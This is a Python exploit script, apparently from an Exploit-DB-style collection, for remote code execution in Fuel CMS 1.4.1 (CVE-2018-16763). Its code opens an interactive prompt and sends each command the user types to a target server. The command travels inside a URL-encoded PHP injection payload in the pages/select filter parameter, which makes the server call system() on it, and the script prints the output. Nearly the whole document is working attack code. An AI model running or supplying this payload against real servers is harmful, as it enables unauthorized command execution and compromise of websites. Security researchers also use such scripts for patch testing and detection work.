# Exploit Title: fuel CMS 1.4.1 - Remote Code Execution (3)
# Date: 2021-10-24
# Exploit Author: revx0r (@ManuelBerrueta)
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu
# CVE : CVE-2018-16763
# Notes: This code leverages the original code from 0xd0ff9 @ https://www.exploit-db.com/exploits/47138
# This code is updated to work with parameters,as well as making it easier to use and easier to read:

import requests
import urllib
import argparse

def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

def main(args):
    url = args.url

    while 1:
        xxxx = raw_input('cmd>')
        payload_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
        r = requests.get(payload_url)
        html = "<!DOCTYPE html>"
        htmlcharset = r.text.find(html)
        begin = r.text[0:20]
        dup = find_nth_overlapping(r.text,begin,2)
        print(r.text[0:dup])
        
if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", action="store", dest='url', help="URL of the page")
    args = parser.parse_args()
    main(args)